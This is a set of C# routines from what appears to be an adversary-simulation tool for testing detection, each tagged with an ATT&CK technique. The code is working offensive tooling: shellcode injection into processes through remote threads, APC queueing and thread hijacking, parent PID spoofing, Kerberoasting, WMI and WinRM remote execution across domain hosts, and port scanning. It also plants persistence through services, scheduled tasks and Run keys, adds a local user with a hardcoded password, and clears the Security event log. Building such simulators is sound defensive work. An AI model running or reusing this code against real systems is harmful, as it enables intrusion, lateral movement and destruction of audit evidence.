public static void ProcInjection_APC(byte[] shellcode, Process proc, Lib.Logger logger) { logger.TimestampInfo(String.Format("Calling OpenProcess on PID:{0}", proc.Id)); IntPtr procHandle = WinAPI.OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc.Id); //IntPtr procHandle = WinAPI.OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc.Id); Int32 size = shellcode.Length; logger.TimestampInfo(String.Format("Calling VirtualAllocEx on PID:{0}", proc.Id)); IntPtr spaceAddr = WinAPI.VirtualAllocEx(procHandle, new IntPtr(0), (uint)size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); UIntPtr bytesWritten; IntPtr size2 = new IntPtr(shellcode.Length); logger.TimestampInfo(String.Format("Calling WriteProcessMemory on PID:{0}", proc.Id)); bool bWrite = WinAPI.WriteProcessMemory(procHandle, spaceAddr, shellcode, (uint)size2, out bytesWritten); uint oldProtect = 0; bWrite = WinAPI.VirtualProtectEx(procHandle, spaceAddr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); //TODO: do we need to do it for all threads ? foreach (ProcessThread thread in proc.Threads) { IntPtr tHandle = WinAPI.OpenThread(Structs.ThreadAccess.THREAD_HIJACK, false, (int)thread.Id); logger.TimestampInfo(String.Format("Calling QueueUserAPC on ThreadId:{0}", thread.Id)); IntPtr ptr = WinAPI.QueueUserAPC(spaceAddr, tHandle, IntPtr.Zero); } }
public static void CreateWindowsServiceCmd(string log, bool cleanup) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1543.003"); logger.TimestampInfo("Using the command line to execute the technique"); try { string serviceName = "UpdaterService"; string servicePath = @"C:\Windows\Temp\superlegit.exe"; ExecutionHelper.StartProcess("", String.Format(@"sc create {0} binpath= {1} type= own start= auto", serviceName, servicePath), logger); Thread.Sleep(3000); if (cleanup) { ExecutionHelper.StartProcess("", String.Format(@"sc delete {0}", serviceName), logger); } else { logger.TimestampInfo(String.Format("The created Service: {0} ImagePath: {1} was not deleted as part of the simulation", serviceName, servicePath)); } } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void ShareEnum(Computer computer, Lib.Logger logger) { var bufPtr = IntPtr.Zero; var EntriesRead = 0; var TotalRead = 0; var ResumeHandle = 0; const uint MAX_PREFERRED_LENGTH = 0xFFFFFFFF; //https://www.pinvoke.net/default.aspx/netapi32/netshareenum.html var res = WinAPI.NetShareEnum(computer.Fqdn, 1, ref bufPtr, MAX_PREFERRED_LENGTH, ref EntriesRead, ref TotalRead, ref ResumeHandle); var errorCode = Marshal.GetLastWin32Error(); var Offset = bufPtr.ToInt64(); // 0 = syccess if (res == 0) { DateTime dtime = DateTime.Now; //Console.WriteLine("{0}[{1}] Successfully enumerated shares on {2} as {3} ", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn, WindowsIdentity.GetCurrent().Name); logger.TimestampInfo(String.Format("Successfully enumerated shares on {0} as {1} ", computer.Fqdn, WindowsIdentity.GetCurrent().Name)); } else { DateTime dtime = DateTime.Now; //Console.WriteLine("{0}[{1}] Failed to enumerate shares on {2} as {3}. Error Code:{4}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn, WindowsIdentity.GetCurrent().Name, errorCode); logger.TimestampInfo(String.Format("Successfully enumerated shares on {0} as {1} ", computer.Fqdn, WindowsIdentity.GetCurrent().Name)); } }
public static void WmiCodeExecution(Computer computer, string command, Lib.Logger logger) { try { ConnectionOptions connectoptions = new ConnectionOptions(); var processToRun = new[] { command }; var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", computer.Fqdn), connectoptions); var wmiProcess = new ManagementClass(wmiScope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); wmiProcess.InvokeMethod("Create", processToRun); //DateTime dtime = DateTime.Now; logger.TimestampInfo(String.Format("Started a process using WMI Win32_Create on {0}", computer.ComputerName)); //Console.WriteLine("{0}[{1}] Successfully created a process using WMI on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); } catch (Exception ex) { //DateTime dtime = DateTime.Now; if (ex.Message.Contains("ACCESSDENIED")) { logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", computer.ComputerName)); //Console.WriteLine("{0}[{1}] Failed to execute execute a process using WMI on {2}. (Access Denied)", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); } else { logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", computer.ComputerName, ex.GetType())); //Console.WriteLine("{0}[{1}] Failed to execute a process using WMI on {2}. {3}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn, ex.GetType()); } } }
public static void StartProcess_old(string binary, string cmdline, Lib.Logger logger, bool cleanup = false) { if (!cleanup) { logger.TimestampInfo("Executing Command: " + cmdline); } else { logger.TimestampInfo("Executing Cleanup Command: " + cmdline); } const uint NORMAL_PRIORITY_CLASS = 0x0020; bool retValue; Structs.PROCESS_INFORMATION pInfo = new Structs.PROCESS_INFORMATION(); Structs.STARTUPINFO sInfo = new Structs.STARTUPINFO(); Structs.SECURITY_ATTRIBUTES pSec = new Structs.SECURITY_ATTRIBUTES(); Structs.SECURITY_ATTRIBUTES tSec = new Structs.SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); retValue = WinAPI.CreateProcess(null, cmdline, ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref sInfo, out pInfo); if (retValue && cleanup == false) { logger.TimestampInfo(String.Format("Process successfully created. (PID): " + pInfo.dwProcessId)); } else if (retValue != false && cleanup == false) { logger.TimestampInfo("Could not start process!"); } }
public static void DomaiGroupDiscoveryLdap(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1069.002"); logger.TimestampInfo("Using LDAP to execute technique"); try { if (playbook_task.groups.Length > 0) { foreach (string group in playbook_task.groups) { logger.TimestampInfo(String.Format("Querying LDAP for members of '{0}'", group)); DiscoveryHelper.LdapQueryForObjects(logger, 2, "", group); } logger.SimulationFinished(); } else { logger.TimestampInfo("Querying LDAP for all groups"); DiscoveryHelper.LdapQueryForObjects(logger, 2); logger.SimulationFinished(); } } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void CreateScheduledTaskCmd(string log, bool cleanup) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1053.005"); logger.TimestampInfo("Using the command line to execute the technique"); try { string taskName = "BadScheduledTask"; string binpath = @"C:\Windows\Temp\xyz12345.exe"; ExecutionHelper.StartProcess("", String.Format(@"SCHTASKS /CREATE /SC DAILY /TN {0} /TR ""{1}"" /ST 13:00", taskName, binpath), logger); if (cleanup) { ExecutionHelper.StartProcess("", String.Format(@"SCHTASKS /DELETE /F /TN {0}", taskName, binpath), logger); Thread.Sleep(3000); } else { logger.TimestampInfo(@"The created Scheduled Task " + taskName + " was not deleted as part of the simulation"); } logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void CreateLocalAccountCmd(string log, bool cleanup) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1136.001"); logger.TimestampInfo("Using the command line to execute the technique"); try { string username = "******"; string pwd = "Passw0rd123El7"; ExecutionHelper.StartProcess("", String.Format("net user {0} {1} /add", username, pwd), logger); Thread.Sleep(2000); if (cleanup) { ExecutionHelper.StartProcess("", String.Format("net user {0} /delete", username), logger); } else { logger.TimestampInfo(String.Format("The created local user {0} was not deleted as part of the simulation", username)); } logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void LogonUser(String username, String domain, String password, int logontype, int logonprovider, Lib.Logger logger) { IntPtr handle; string protocol; if (logonprovider == 0) { protocol = "Kerberos"; } else { protocol = "NTLM"; } //logon_type 2 //LOGON32_PROVIDER_DEFAULT = 0 bool ret = WinAPI.LogonUser(username, domain, password, logontype, logonprovider, out handle); if (ret) { logger.TimestampInfo(String.Format("Successfully authenticated as {0} ({1}).", username, protocol)); //throw new ApplicationException(string.Format("Could not impersonate the elevated user. LogonUser returned error code {0}.", errorCode)); } else { var errorCode = Marshal.GetLastWin32Error(); logger.TimestampInfo(String.Format("Tried to authenticate as {0} ({1}). Error Code:{2}", username, protocol, errorCode)); } //_handle = new SafeTokenHandle(handle); //_context = WindowsIdentity.Impersonate(_handle.DangerousGetHandle()); }
public static void CreateRegistryRunKeyCmd(string log, bool cleanup) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1547.001"); logger.TimestampInfo("Using the command line to execute the technique"); try { string regKey = "BadApp"; string binpath = @"C:\Windows\Temp\xyz12345.exe"; ExecutionHelper.StartProcess("", String.Format(@"REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /t REG_SZ /F /D {1}", regKey, binpath), logger); if (cleanup) { Thread.Sleep(3000); ExecutionHelper.StartProcess("", String.Format(@"REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /F", regKey), logger); } else { logger.TimestampInfo(@"The created RegKey : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" + regKey + " was not deleted as part of the simulation"); } logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void RegistryRunKey(Lib.Logger logger) { RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true); registryKey1.SetValue("BadApp", @"C:\Windows\Temp\xyz123456.exe"); logger.TimestampInfo(@"Created Regkey: HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run - C:\Windows\Temp\xyz123456.exe "); //registryKey2.SetValue("BadApp", @"C:\Windows\Temp\xyz123456.exe"); //logger.TimestampInfo(@"Created Regkey: HKCU\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce - C:\Windows\Temp\xyz123456.exe "); registryKey1.DeleteValue("BadApp"); logger.TimestampInfo(@"Deleted : HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); //registryKey2.DeleteValue("BadApp"); //logger.TimestampInfo(@"Deleted: HKCU\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); }
public static void Kerberoasting(string log, int sleep) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1558.003"); if (sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between each service ticket request", sleep)); } try { //NetworkCredential cred = null; List <String> spns; spns = Ldap.GetSPNs(); foreach (String spn in spns) { Lib.SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger); if (sleep > 0) { Thread.Sleep(sleep * 1000); } } logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void ProcessInjection(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1055"); //logger.TimestampInfo(String.Format("Starting T1055 Simulation on {0}", Environment.MachineName)); //logger.TimestampInfo(String.Format("Simulation agent running as {0} with PID:{1}", System.Reflection.Assembly.GetEntryAssembly().Location, Process.GetCurrentProcess().Id)); try { Process proc = new Process(); proc.StartInfo.FileName = "C:\\Windows\\system32\\notepad.exe"; proc.StartInfo.UseShellExecute = false; proc.Start(); logger.TimestampInfo(String.Format("Process {0}.exe with PID:{1} started for the injection", proc.ProcessName, proc.Id)); DefenseEvasionHelper.ProcInjection_CreateRemoteThread(Convert.FromBase64String(Lib.Static.donut_ping), proc, logger); //DefenseEvasionHelper.ProcInjection_APC(Convert.FromBase64String(Lib.Static.donut_ping), proc, logger); //DefenseEvasionHelper.ProcInjection_CreateRemoteThread(Lib.Static.msf_meter, not); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void PrivilegeEnumeration(int nhost, int sleep, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T0XXX"); logger.TimestampInfo("Using the System.Management .NET API to execute this technique"); List <Task> tasklist = new List <Task>(); var rand = new Random(); int computertype = rand.Next(1, 6); List <Computer> targetcomputers = Lib.Targets.GetHostTargets(computertype, nhost, logger); Console.WriteLine("[*] Starting Find local administrator from {0} as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); if (sleep > 0) { Console.WriteLine("[*] Sleeping {0} seconds between enumeration", sleep); } foreach (Computer computer in targetcomputers) { if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { Simulations.DiscoveryHelper.FindLocalAdminAccess(computer); if (sleep > 0) { Thread.Sleep(sleep * 1000); } })); } } Task.WaitAll(tasklist.ToArray()); }
public static void WinRMCodeExecution(Computer computer, string command, Lib.Logger logger) { try { var connectTo = new Uri(String.Format("http://{0}:5985/wsman", computer.Fqdn)); var connection = new WSManConnectionInfo(connectTo); var runspace = RunspaceFactory.CreateRunspace(connection); runspace.Open(); using (var powershell = PowerShell.Create()) { powershell.Runspace = runspace; powershell.AddScript(command); var results = powershell.Invoke(); runspace.Close(); DateTime dtime = DateTime.Now; logger.TimestampInfo(String.Format("Started a process using WinRM on {0}", computer.ComputerName)); //Console.WriteLine("{0}[{1}] Successfully created a process using WinRM on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); /* * Console.WriteLine("Return command "); * foreach (var obj in results.Where(o => o != null)) * { * Console.WriteLine("\t" + obj); * } */ } } catch (Exception ex) { DateTime dtime = DateTime.Now; if (ex.Message.Contains("Access is denied")) { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Access Denied)", computer.Fqdn)); //Console.WriteLine("{0}[{1}] Failed to execute execute a process using WMI on {2}. (Access Denied)", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); } else if (ex.GetType().ToString().Contains("PSRemotingTransportException")) { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Port Closed)", computer.Fqdn)); //Console.WriteLine("{0}[{1}] Failed to execute execute a process using WMI on {2}. (Port Closed)", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); } else { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. {1}", computer.Fqdn, ex.GetType())); //Console.WriteLine("{0}[{1}] Failed to execute a process using WinRM on {2}. {3}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn, ex.GetType()); } } }
public static void NetworkServiceDiscovery(int nhost, int tsleep, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1046"); logger.TimestampInfo("Using the System.Net.Sockets .NET namespace to execute this technique"); try { var rand = new Random(); int computertype = rand.Next(1, 6); List <Task> tasklist = new List <Task>(); List <Computer> targetcomputers = Lib.Targets.GetHostTargets(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", targetcomputers.Count)); if (tsleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", tsleep)); } foreach (Computer computer in targetcomputers) { if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { Computer temp = computer; TimeSpan interval = TimeSpan.FromSeconds(5); tasklist.Add(Task.Factory.StartNew(() => { logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4)); DiscoveryHelper.PortScan(temp, interval); })); if (tsleep > 0) { Thread.Sleep(tsleep * 1000); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
static public void WinRmCodeExec(int nhost, int tsleep, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1021.006"); logger.TimestampInfo("Using the System.Management.Automation .NET namespace to execute this technique"); try { var rand = new Random(); int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); List <Computer> targethosts = Lib.Targets.GetHostTargets(computertype, nhost); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List <Task> tasklist = new List <Task>(); //Console.WriteLine("[*] Starting WinRM Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); if (tsleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", tsleep)); } foreach (Computer computer in targethosts) { Computer temp = computer; if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { LateralMovementHelper.WinRMCodeExecution(temp, "powershell.exe", logger); })); if (tsleep > 0) { Thread.Sleep(tsleep * 1000); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void RegistryRunKey(Lib.Logger logger, bool cleanup) { string keyname = "BadApp"; RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); registryKey1.SetValue(keyname, @"C:\Windows\Temp\xyz123456.exe"); logger.TimestampInfo(@"Created Regkey: HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + keyname + @" - C:\\Windows\\Temp\\xyz123456.exe "); if (cleanup) { registryKey1.DeleteValue("BadApp"); logger.TimestampInfo(@"Deleted RegKey : HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + keyname); } else { logger.TimestampInfo(@"The created RegKey : HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + keyname + " was not deleted as part of the simulation"); } }
public static void ProcInjection_CreateRemoteThread(byte[] shellcode, Process proc, Lib.Logger logger) { logger.TimestampInfo(String.Format("Calling OpenProcess on PID:{0}", proc.Id)); IntPtr procHandle = WinAPI.OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc.Id); Int32 size = shellcode.Length; logger.TimestampInfo(String.Format("Calling VirtualAllocEx on PID:{0}", proc.Id)); IntPtr spaceAddr = WinAPI.VirtualAllocEx(procHandle, new IntPtr(0), (uint)size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); UIntPtr bytesWritten; IntPtr size2 = new IntPtr(shellcode.Length); logger.TimestampInfo(String.Format("Calling WriteProcessMemory on PID:{0}", proc.Id)); bool bWrite = WinAPI.WriteProcessMemory(procHandle, spaceAddr, shellcode, (uint)size2, out bytesWritten); logger.TimestampInfo(String.Format("Calling CreateRemoteThread on PID:{0}", proc.Id)); WinAPI.CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0)); }
public static List <User> GetUserTargets(int usertype, int nuser, Lib.Logger logger) { List <User> targetusers = new List <User>(); PrincipalContext context = new PrincipalContext(ContextType.Domain); string dc = context.ConnectedServer; switch (usertype) { case 1: logger.TimestampInfo("Targeting domain neighbor users"); targetusers = Ldap.GetADUsers(nuser, logger, dc, true); break; case 2: logger.TimestampInfo("Targeting domain foreign users"); targetusers = Ldap.GetADUsers(nuser, logger, "", true); break; case 3: logger.TimestampInfo("Targeting disabled users"); targetusers = Ldap.GetADUsers(nuser, logger, dc, false); break; case 4: logger.TimestampInfo("Targeting administrative accounts (adminCount=1) "); targetusers = Ldap.GetADAdmins(nuser); break; case 5: logger.TimestampInfo("Targeting domain admins"); targetusers = Ldap.GetDomainAdmins(); break; case 6: targetusers = Targets.GetRandomUsernames(nuser); break; default: return(targetusers); } return(targetusers); }
public static void NetworkServiceDiscovery(int computertype, int nhost, int sleep, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1046"); //logger.TimestampInfo(String.Format("Starting T1046 Simulation on {0}", Environment.MachineName)); //logger.TimestampInfo(String.Format("Simulation agent running as {0} with PID:{1}", System.Reflection.Assembly.GetEntryAssembly().Location, Process.GetCurrentProcess().Id)); try { List <Task> tasklist = new List <Task>(); List <Computer> targetcomputers = Lib.Targets.GetHostTargets(computertype, nhost); logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", targetcomputers.Count)); //Console.WriteLine("[*] Starting Network Discovery from {0} ", Environment.MachineName); if (sleep > 0) { Console.WriteLine("[*] Sleeping {0} seconds between each scan", sleep); } foreach (Computer computer in targetcomputers) { if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { Computer temp = computer; TimeSpan interval = TimeSpan.FromSeconds(5); tasklist.Add(Task.Factory.StartNew(() => { logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4)); DiscoveryHelper.PortScan(temp, interval); })); if (sleep > 0) { Thread.Sleep(sleep * 1000); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void EnumerateShares(int nhosts, int tsleep, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1135"); logger.TimestampInfo("Using the Win32 API NetShareEnum function to execute this technique"); try { List <Task> tasklist = new List <Task>(); var rand = new Random(); int computertype = rand.Next(1, 6); List <Computer> targetcomputers = Lib.Targets.GetHostTargets(computertype, nhosts, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targetcomputers.Count)); if (tsleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", tsleep)); } foreach (Computer computer in targetcomputers) { if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { DiscoveryHelper.ShareEnum(computer, logger); })); if (tsleep > 0) { Thread.Sleep(tsleep * 1000); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void ParentPidSpoofing(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1134.004"); try { Process explorer = Process.GetProcessesByName("explorer").FirstOrDefault(); logger.TimestampInfo(String.Format("Process {0}.exe with PID:{1} will be used as a parent for the new process", explorer.ProcessName, explorer.Id)); logger.TimestampInfo(String.Format("Spawning notepad.exe as a child process of {0}", explorer.Id)); Thread.Sleep(1000); Launcher.SpoofParent(explorer.Id, "C:\\WINDOWS\\System32\\notepad.exe", "notepad.exe"); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static List <Computer> GetDomainNeighborTargets(int count, Lib.Logger logger) { List <Computer> targets = new List <Computer>(); PrincipalContext context = new PrincipalContext(ContextType.Domain); string dc = context.ConnectedServer; logger.TimestampInfo("Obtaining domain neighbor targets ..."); targets = Ldap.GetADComputers(count, logger, dc); //Console.WriteLine("[*] Finished"); return(targets); }
static public void ExecuteWmiOnHosts(int computertype, int nhost, int sleep, string command, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1047"); try { logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); List <Computer> targethosts = Lib.Targets.GetHostTargets(computertype, nhost); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List <Task> tasklist = new List <Task>(); //Console.WriteLine("[*] Starting WMI Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); if (sleep > 0) { Console.WriteLine("[*] Sleeping {0} seconds between attempt", sleep); } foreach (Computer computer in targethosts) { Computer temp = computer; if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { LateralMovementHelper.WmiCodeExecution(temp, command, logger); })); if (sleep > 0) { Thread.Sleep(sleep * 1000); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
static public void ExecutePowershellNET(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1059.001"); logger.TimestampInfo("Using the System.Management.Automation .NET namespace to execute the technique"); try { PowerShell pstest = PowerShell.Create(); String script = "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA=="; script = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(script)); pstest.AddScript(script); Collection <PSObject> output = null; output = pstest.Invoke(); logger.TimestampInfo("Succesfully invoked a PowerShell script using .NET"); } catch (Exception ex) { logger.SimulationFailed(ex); } }
//credits to https://github.com/pwndizzle/c-sharp-memory-injection public static void ProcInjection_ThreadHijack(byte[] shellcode, Process proc, Lib.Logger logger) { logger.TimestampInfo(String.Format("Calling OpenProcess on PID:{0}", proc.Id)); IntPtr procHandle = WinAPI.OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc.Id); Int32 size = shellcode.Length; logger.TimestampInfo(String.Format("Calling VirtualAllocEx on PID:{0}", proc.Id)); IntPtr spaceAddr = WinAPI.VirtualAllocEx(procHandle, new IntPtr(0), (uint)size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); UIntPtr bytesWritten; IntPtr size2 = new IntPtr(shellcode.Length); logger.TimestampInfo(String.Format("Calling WriteProcessMemory on PID:{0}", proc.Id)); bool bWrite = WinAPI.WriteProcessMemory(procHandle, spaceAddr, shellcode, (uint)size2, out bytesWritten); // Open and Suspend first thread ProcessThread thread = proc.Threads[0]; IntPtr pOpenThread = WinAPI.OpenThread(Structs.ThreadAccess.THREAD_HIJACK, false, (int)thread.Id); logger.TimestampInfo(String.Format("Calling SuspendThread on threadId: {0}", proc.Threads[0].Id)); WinAPI.SuspendThread(pOpenThread); // Get thread context Structs.CONTEXT64 tContext = new Structs.CONTEXT64(); tContext.ContextFlags = Structs.CONTEXT_FLAGS.CONTEXT_FULL; if (WinAPI.GetThreadContext(pOpenThread, ref tContext)) { logger.TimestampInfo(String.Format("Current EIP: {0}", tContext.Rip)); } tContext.Rip = (ulong)spaceAddr.ToInt64(); logger.TimestampInfo(String.Format("Calling SetThreadContext on threadId:{0}", proc.Threads[0].Id)); WinAPI.SetThreadContext(pOpenThread, ref tContext); /* * if (!WinAPI.SetThreadContext(pOpenThread, ref tContext)) * { * Console.WriteLine("Error setting context"); * } */ if (WinAPI.GetThreadContext(pOpenThread, ref tContext)) { logger.TimestampInfo(String.Format("New EIP : {0}", tContext.Rip)); } logger.TimestampInfo(String.Format("Calling ResumeThread on threadId:{0}", proc.Threads[0].Id)); WinAPI.ResumeThread(pOpenThread); }
public static void ClearSecurityEventLogNET(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1070.001"); logger.TimestampInfo("Using the System.Diagnostics .NET namespace to execute the technique"); try { EventLog eventlog = new EventLog(); eventlog.Source = "Security"; eventlog.Clear(); eventlog.Close(); logger.TimestampInfo(String.Format("Cleared the Security EventLog using .NETs EventLog")); logger.SimulationFinished(); } catch (Exception ex) { //logger.TimestampInfo(String.Format("Failed to clear the Security EventLog")); logger.SimulationFailed(ex); } }
public static void StartProcessApi(string binary, string cmdline, Lib.Logger logger) { const uint NORMAL_PRIORITY_CLASS = 0x0020; bool retValue; Structs.PROCESS_INFORMATION pInfo = new Structs.PROCESS_INFORMATION(); Structs.STARTUPINFO sInfo = new Structs.STARTUPINFO(); Structs.SECURITY_ATTRIBUTES pSec = new Structs.SECURITY_ATTRIBUTES(); Structs.SECURITY_ATTRIBUTES tSec = new Structs.SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); logger.TimestampInfo(String.Format("Using the Win32 API call CreateProcess to execute: '{0}'", cmdline)); retValue = WinAPI.CreateProcess(null, cmdline, ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref sInfo, out pInfo); if (retValue) { logger.TimestampInfo(String.Format("Process successfully created. (PID): " + pInfo.dwProcessId)); } else { logger.TimestampInfo("Could not start process!"); } }
